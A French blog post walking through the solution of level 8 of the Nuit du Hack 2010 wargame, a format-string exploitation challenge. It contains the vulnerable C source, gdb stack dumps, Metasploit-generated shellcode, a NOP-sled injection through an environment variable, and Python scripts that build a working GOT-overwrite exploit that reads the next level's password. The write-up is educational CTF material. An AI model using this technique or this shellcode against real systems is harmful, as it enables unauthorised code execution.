vendredi 30 juillet 2010

level8 wargame NDH2010 - format strings

Cet article décrit la résolution du level 8 du wargame de la Nuit du hack 2010. Il s'agit d'une exploitation de vulnérabilité format string. Il applique la méthode "tutoriel exploitation format strings" abordée dans un autre article sur infond.


la vulnérabilité


Voici le code source de l'épreuve:
level8@srv-public:~$ cat level8.c
#include < stdio.h>
#include < stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
        if(argc < 2) {
                printf("Empty login! \n");
                exit(-1);
        }

        printf(argv[1]);
        printf("\nNice to see you\n");

        exit(0);
}

Nous pouvons afficher le contenu de la pile:
level8@srv-public:~$ ./level8 $(perl -e 'print "%x-"x100')
bffff778-b7ea4c85-2-bffff7a4-bffff7b0-b7fe0b48-1-1-0-8048266-b7fd5ff4-8048480-8048370-bffff778-e6344107-cd429517-0-0-0-b7ff6270-b7ea4bad-b7ffeff4-2-8048370-0-8048391-8048424-2-bffff7a4-8048480-8048470-b7ff0fd0-bffff79c-b7ffc793-2-bffff890-bffff899-0-bffff9c6-bffff9d1-bffff9e1-bffffa02-bffffa15-bffffa21-bfffff11-bfffff27-bfffff54-bfffff65-bfffff75-bfffff8c-bfffff94-bfffffa6-bfffffb5-bfffffe8-0-20-b7fe1414-21-b7fe1000-10-febfbff-6-1000-11-64-3-8048034-4-20-5-7-7-b7fe2000-8-0-9-8048370-b-3f0-c-3f1-d-3f0-e-3f0-17-1-f-bffff88b-0-0-0-69000000-363836-656c2f2e-386c6576-2d782500-252d7825-78252d78-2d78252d-
Nice to see you
et avec gdb, nous confirmons bien que c'est la pile:
level8@srv-public:~$ gdb ./level8

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048424 <+0>:    push   %ebp
   0x08048425 <+1>:    mov    %esp,%ebp
   0x08048427 <+3>:    sub    $0x4,%esp
   0x0804842a <+6>:    cmpl   $0x1,0x8(%ebp)
   0x0804842e <+10>:    jg     0x8048448
   0x08048430 <+12>:    movl   $0x8048530,(%esp)
   0x08048437 <+19>:    call   0x8048350
   0x0804843c <+24>:    movl   $0xffffffff,(%esp)
   0x08048443 <+31>:    call   0x8048360
   0x08048448 <+36>:    mov    0xc(%ebp),%eax
   0x0804844b <+39>:    add    $0x4,%eax
   0x0804844e <+42>:    mov    (%eax),%eax
   0x08048450 <+44>:    mov    %eax,(%esp)
   0x08048453 <+47>:    call   0x8048340
   0x08048458 <+52>:    movl   $0x804853e,(%esp)
   0x0804845f <+59>:    call   0x8048350
   0x08048464 <+64>:    movl   $0x0,(%esp)
   0x0804846b <+71>:    call   0x8048360
End of assembler dump.
(gdb) break * main+52
Breakpoint 1 at 0x8048458
(gdb) r $(perl -e 'print "%x-"x100')
Starting program: /home/level8/level8 $(perl -e 'print "%x-"x100')

Breakpoint 1, 0x08048458 in main ()
(gdb) x/128x $esp
0xbffff6d4:    0xbffff876    0xbffff738    0xb7ea4c85    0x00000002
0xbffff6e4:    0xbffff764    0xbffff770    0xb7fe0b48    0x00000001
0xbffff6f4:    0x00000001    0x00000000    0x08048266    0xb7fd5ff4
0xbffff704:    0x08048480    0x08048370    0xbffff738    0x9479c0de
0xbffff714:    0xbf0c94ce    0x00000000    0x00000000    0x00000000
0xbffff724:    0xb7ff6270    0xb7ea4bad    0xb7ffeff4    0x00000002
0xbffff734:    0x08048370    0x00000000    0x08048391    0x08048424

payload

Comme pour les épreuves précédentes, nous utilisons Metasploit

$ msfconsole

msf > use payload/linux/x86/exec

msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed

msf payload(exec) > set CMD "cat ../level9/passwd"
CMD => cat ../level9/passwd

msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level9/passwd
buf =
"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72" +
"\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58" +
"\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42" +
"\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45" +
"\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70" +
"\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65" +
"\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53" +
"\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51" +
"\x48\x4d\x4f\x70\x41\x41"
d'où notre payload:
"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"

injection

Nous avons besoin de l'exécutable getenvaddress (vu au level5, ne pas oublier d'enlever les espaces ajoutés dans les #include à cause de l'affichage buggé de blogspot.com) :
level6@srv-public:~$ vim /tmp/getenvaddress.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

int main(int argc, char **argv) {
    char *ptr;
    ptr = getenv(argv[1]);
    if( ptr == NULL )
        printf("%s not found\n", argv[1]);
    else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
    return 0;
}

compilons (rappel: enlever les espaces dans #include) :
level6@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c

injectons en ajoutant des NOP:
export LOL=$(perl -e 'print "\x90"x200 . "\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"')

récupérons l'adresse:
level6@srv-public:~$ /tmp/getenvaddress LOL
LOL found at bffffe5d
Nous choisirons comme adresse bffffe7d (32 octets plus loin, pour sauter dans les NOPs).

détourner le flux d'exécution

Nous ne disposons pas d'un RET après notre fonction printf(). Nous ne pouvons rediriger le flux d'exécution en plaçant l'adresse de notre payload sur la pile. Nous allons donc chercher un autre emplacement "writable" pour placer l'adresse de notre payload.

remplacer une entrée de la GOT

La fonction puts() est appelée après la fonction printf dans notre main():

(gdb) disassemble main
(...)
   0x08048450 <+44>:    mov    %eax,(%esp)
   0x08048453 <+47>:    call   0x8048340 <printf@plt>
   0x08048458 <+52>:    movl   $0x804853e,(%esp)
   0x0804845f <+59>:    call   0x8048350 <puts@plt>
   0x08048464 <+64>:    movl   $0x0,(%esp)
   0x0804846b <+71>:    call   0x8048360

Nous allons donc réécrire l'entrée de la fonction puts() dans la Global Offset Table. Ainsi, lorsqu'elle sera appelée, ce sera notre payload qui sera lancé.

Pour obtenir les adresses dans la Global Offset Table de notre exécutable, voici deux méthodes:

méthode 1: avec objdump
level8@srv-public:~$ objdump -s -j .got.plt ./level8
./level8:     file format elf32-i386
Contents of section .got.plt:
 804963c 68950408 00000000 00000000 26830408  h...........&...
 804964c 36830408 46830408 56830408 66830408  6...F...V...f...
level8@srv-public:~$ objdump -R ./level8
./level8:     file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049638 R_386_GLOB_DAT    __gmon_start__
08049648 R_386_JUMP_SLOT   __gmon_start__
0804964c R_386_JUMP_SLOT   __libc_start_main
08049650 R_386_JUMP_SLOT   printf
08049654 R_386_JUMP_SLOT   puts
08049658 R_386_JUMP_SLOT   exit

méthode 2 : avec gdb:

Voyons puts en assembleur:
(gdb) disassemble puts
Dump of assembler code for function puts@plt:
   0x08048350 <+0>:    jmp    *0x8049654
   0x08048356 <+6>:    push   $0x18
   0x0804835b <+11>:    jmp    0x8048310
End of assembler dump.
L'instruction  jmp    *0x8049654 est intéressante car c'est bien une entrée de la GOT:
(gdb) x/x 0x08049654
0x8049654 <_GLOBAL_OFFSET_TABLE_+24>:    0x08048356

Nous pouvons donc écrire l'adresse de notre payload 0xaabbccdd à l'adress 0x08049654

trouver le nombre de mots sur la pile avant notre chaine


Un petit script pour récupérer le nombre de mots sur la pile avant notre chaîne de caractères.
Ce script de plus propose d'ajouter un padding pour aligner notre adresse sur un mot de la pile.

level8@srv-public:~$ cat /tmp/find.py
#!/bin/python
import subprocess

padding = ''
while True:
    p = subprocess.Popen('/bin/sh',stdin=subprocess.PIPE,stdout=subprocess.PIPE)
    cmd = "/home/level8/level8 " + "AAAA" + padding + "-%x"*110 + " | grep 4141"
    stack = p.communicate(cmd)[0]
    index = stack.find('-41414141')
    if index != -1:
        break
    padding += 'B'
print stack

print "number of words up to our string (dec): "
print stack.count('-',0,index)
print "padding added: '" + padding +"'"

level8@srv-public:~$ python /tmp/find.py
AAAAB-bffff728-b7ea4c85-2-bffff754-bffff760-b7fe0b48-1-1-0-8048266-b7fd5ff4-8048480-8048370-bffff728-724fa0f2-593a94e2-0-0-0-b7ff6270-b7ea4bad-b7ffeff4-2-8048370-0-8048391-8048424-2-bffff754-8048480-8048470-b7ff0fd0-bffff74c-b7ffc793-2-bffff848-bffff85c-0-bffff9ac-bffff9bc-bffff9c7-bffff9ea-bffff9fd-bffffa09-bffffef9-bfffff26-bfffff3c-bfffff52-bfffff63-bfffff73-bfffff8a-bfffff9c-bfffffa4-bfffffb3-0-20-b7fe1414-21-b7fe1000-10-febfbff-6-1000-11-64-3-8048034-4-20-5-7-7-b7fe2000-8-0-9-8048370-b-3f0-c-3f1-d-3f0-e-3f0-17-1-f-bffff83b-0-0-0-69000000-363836-0-0-6d6f682f-656c2f65-386c6576-76656c2f-386c65-41414141-78252d42-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d

number of words up to our string (dec):
101
padding added: 'B'

calculer les [ni]


récapitulons:

Nous voulons:
[address+3][address+2][address+1][address]%1$[n1 - 16]x%[m+1]$n%1$[n2-n1]x%[m+2]$n%1$[n3-n2]x%[m+3]$n%1$[n4-n3]x%[m+4]$n[padding]
[address] = "\x54\x96\x04\x08"

[source] = 0xbffffe7d
n1-16 = 0x7d - 0x10 = 125 - 16 = 109
n2-n1 = 0x1fe - 0x7d = 510 - 125 = 385
n3-n2 = 0x2ff  - 0x1fe = 767 - 510 = 257
n4-n3 = 0x3bf - 0x2ff = 959 - 767 = 192

exploitation

Nous avons encore deux difficultés à surmonter, liées aux variations de la pile, avant de pouvoir réussir notre exploitation:
- la première concerne le nombre de mots au dessus de notre chaîne. En effet, ce nombre varie d'un jour à l'autre,
- la seconde concerne l'octet de début de notre chaîne qui varie également  et entraine un décalage des adresses dans notre chaine.

Dans notre exploitation, cela correspond à une variation de [m] et de [padding]. Nous avons vu grace au script /tmp/find.py que:
- [m] est environ égal à 101,
- [padding] est environ égal à "A".

d'où notre chaîne:
level8@srv-public:~$ cat /tmp/solution.py
#!/bin/python
address3 = "\x57\x96\x04\x08"
address2 = "\x56\x96\x04\x08"
address1 = "\x55\x96\x04\x08"
address = "\x54\x96\x04\x08"
n1_16 = "0109"
n2_n1 = "0385"
n3_n2 = "0257"
n4_n3 = "0192"

# m = 101
m1 = "00102"
m2 = "00103"
m3 = "00104"
m4 = "00105"
padding = "A"

print  address + address1 + address2 + address3 + "%1$" + n1_16 + "x" + "%" + m1 + "$n" + "%1$" + n2_n1 + "x" + "%" + m2 + "$n" + "%1$" + n3_n2 + "x" + "%" + m3 + "$n" + "%1$" + n4_n3 + "x" + "%" + m4 + "$n" + padding
Seulement, ca ne marche pas:
level8@srv-public:~$ ./level8 $(python /tmp/solution.py)
Erreur de segmentation

1ère méthode, en tatonnant:

Nous allons tatonner un peu (à la main, car nous aurons moins d'une quinzaine d'essais à faire):
[m] = 101, [padding] = "A",
[m] = 101, [padding] = "AA",
[m] = 101, [padding] = "AAA",
[m] = 101, [padding] = "",
[m] = 100, [padding] = "A",
[m] = 100, [padding] = "AA",
[m] = 100, [padding] = "AAA",
[m] = 100, [padding] = "",
[m] = 102, [padding] = "A",
[m] = 102, [padding] = "AA",
[m] = 102, [padding] = "AAA",
[m] = 102, [padding] = "",
[m] = 099, [padding] = "A",
[m] = 099, [padding] = "AA" Bingo!

2ème méthode, en comptant:

Pour moins tatonner, il est possible de voir ce à quoi ressemble à peu près la pile grace à gdb. Bien sûr la pile d'un exécutable débuggé diffère de celle sans gdb. Mais cela permet de se donner une idée du mot sur lequel notre exploit essaie de sauter.

le log de l'erreur nous donne la valeur erronée prise dans la pile comme adresse de destination [address] :
level8@srv-public:~$ dmesg | grep level8 | sed -n '$p'
[102243.163546] level8[3236]: segfault at 386c65 ip b7ecfa30 sp bfffe148 error 6 in libc-2.11.1.so[b7e8e000+146000]
La pile ressemble environ à:
level8@srv-public:~$ gdb ./level8

(gdb) break * printf
Breakpoint 1 at 0x8048340

(gdb) run $(python /tmp/solution.py)
Starting program: /home/level8/level8 $(python /tmp/solution.py)
Breakpoint 1, 0xb7ed6060 in printf () from /lib/i686/cmov/libc.so.6

(gdb) x/144x $esp
(...)
0xbffff790:    0x0000000f    0xbffff7ab    0x00000000    0x00000000
0xbffff7a0:    0x00000000    0x00000000    0x69000000    0x00363836
0xbffff7b0:    0x00000000    0x00000000    0x00000000    0x6f682f00
0xbffff7c0:    0x6c2f656d    0x6c657665    0x656c2f38    0x386c6576
0xbffff7d0:    0x04965400    0x04965508    0x04965608    0x04965708
0xbffff7e0:    0x24312508    0x39303130    0x30302578    0x24303031
0xbffff7f0:    0x2431256e    0x35383330    0x30302578    0x24313031
0xbffff800:    0x2431256e    0x37353230    0x30302578    0x24323031
0xbffff810:    0x2431256e    0x32393130    0x30302578    0x24333031
0xbffff820:    0x0041416e    0x4c454853    0x622f3d4c    0x622f6e69
0xbffff830:    0x00687361    0x4d524554    0x6574783d    0x53006d72
0xbffff840:    0x435f4853    0x4e45494c    0x33383d54    0x3530322e
0xbffff850:    0x3131312e    0x3031312e    0x38383420    0x32203430
0x00386c65 est situé un mot avant notre adresse cible 0x08049654. Donc [m qui fonctionne] = [m testé] -1 = "100"
le décalage est de un caractère en trop, donc [padding qui fonctionne] = [padding testé] - A = "A"

solution (au moment de la rédaction de l'article):

d'où la solution au moment où l'article est rédigé:
level8@srv-public:~$ cat /tmp/solution.py
#!/bin/python
address3 = "\x57\x96\x04\x08"
address2 = "\x56\x96\x04\x08"
address1 = "\x55\x96\x04\x08"
address = "\x54\x96\x04\x08"
n1_16 = "0109"
n2_n1 = "0385"
n3_n2 = "0257"
n4_n3 = "0192"

m1 = "00100"
m2 = "00101"
m3 = "00102"
m4 = "00103"

print  address + address1 + address2 + address3 + "%1$" + n1_16 + "x" + "%" + m1 + "$n" + "%1$" + n2_n1 + "x" + "%" + m2 + "$n" + "%1$" + n3_n2 + "x" + "%" + m3 + "$n" + "%1$" + n4_n3 + "x" + "%" + m4 + "$n" + "AA"
level8@srv-public:~$ ./level8 $(python /tmp/solution.py)
MOT DE PASSE

références

tutoriel format string - http://infond.blogspot.com
tutoriel format string - http://www.bases-hacking.org/format-strings.html
printf - http://www.cplusplus.com/reference/clibrary/cstdio/printf/

Aucun commentaire:

Enregistrer un commentaire